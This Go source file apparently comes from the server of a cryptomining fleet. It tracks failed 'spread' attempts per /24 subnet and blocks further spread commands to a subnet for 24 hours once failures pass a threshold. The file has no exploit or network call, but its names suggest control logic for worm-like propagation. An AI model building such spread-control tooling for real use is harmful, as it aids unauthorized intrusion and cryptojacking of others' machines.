Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Normalize /24 labels for autopsy API and cred-graph triggers; add Emberwake/Path Tracer autopsy cards and Vitest coverage for Seer feed consumers.
87 lines
2.2 KiB
Go
87 lines
2.2 KiB
Go
package atlas
|
|
|
|
import (
|
|
"strings"
|
|
"time"
|
|
|
|
"crypto-miner-server/internal/db"
|
|
)
|
|
|
|
const (
|
|
SubnetSpreadFailureThreshold = 5
|
|
SubnetSpreadPauseDuration = 24 * time.Hour
|
|
)
|
|
|
|
// SubnetImmune applies fleet-wide /24 spread pause after repeated failures.
|
|
type SubnetImmune struct {
|
|
db *db.Database
|
|
}
|
|
|
|
func NewSubnetImmune(database *db.Database) *SubnetImmune {
|
|
return &SubnetImmune{db: database}
|
|
}
|
|
|
|
// PrefixFromHostOrIP normalizes a host IP or subnet label to a /24 prefix key.
|
|
func PrefixFromHostOrIP(hostOrSubnet string) string {
|
|
s := strings.TrimSpace(hostOrSubnet)
|
|
s = strings.TrimSuffix(s, ".x")
|
|
s = strings.TrimSuffix(s, ".0/24")
|
|
s = strings.TrimSuffix(s, "/24")
|
|
if prefix := SubnetPrefix(s); prefix != "" {
|
|
return prefix
|
|
}
|
|
parts := strings.Split(s, ".")
|
|
if len(parts) >= 3 && parts[0] != "" && parts[1] != "" && parts[2] != "" {
|
|
return strings.Join(parts[:3], ".")
|
|
}
|
|
return ""
|
|
}
|
|
|
|
// RecordSpreadFailure increments subnet failure count; returns true when pause activates.
|
|
func (s *SubnetImmune) RecordSpreadFailure(hostOrSubnet string) (bool, error) {
|
|
if s == nil || s.db == nil {
|
|
return false, nil
|
|
}
|
|
prefix := PrefixFromHostOrIP(hostOrSubnet)
|
|
if prefix == "" {
|
|
return false, nil
|
|
}
|
|
return s.db.RecordSubnetSpreadFailure(prefix)
|
|
}
|
|
|
|
// IsSpreadPaused reports whether spread commands targeting prefix should be blocked.
|
|
func (s *SubnetImmune) IsSpreadPaused(hostOrSubnet string) (bool, error) {
|
|
if s == nil || s.db == nil {
|
|
return false, nil
|
|
}
|
|
prefix := PrefixFromHostOrIP(hostOrSubnet)
|
|
if prefix == "" {
|
|
return false, nil
|
|
}
|
|
return s.db.IsSubnetSpreadPaused(prefix)
|
|
}
|
|
|
|
// SpreadActionBlocked returns an error when prefix is under immune pause.
|
|
func (s *SubnetImmune) SpreadActionBlocked(hostOrSubnet string) error {
|
|
paused, err := s.IsSpreadPaused(hostOrSubnet)
|
|
if err != nil {
|
|
return err
|
|
}
|
|
if paused {
|
|
return &SpreadPauseError{Prefix: PrefixFromHostOrIP(hostOrSubnet)}
|
|
}
|
|
return nil
|
|
}
|
|
|
|
// SpreadPauseError is returned when a /24 is under subnet immune response.
|
|
type SpreadPauseError struct {
|
|
Prefix string
|
|
}
|
|
|
|
func (e *SpreadPauseError) Error() string {
|
|
if e == nil || e.Prefix == "" {
|
|
return "subnet spread paused (immune response)"
|
|
}
|
|
return "subnet " + e.Prefix + " spread paused for 24h (immune response)"
|
|
}
|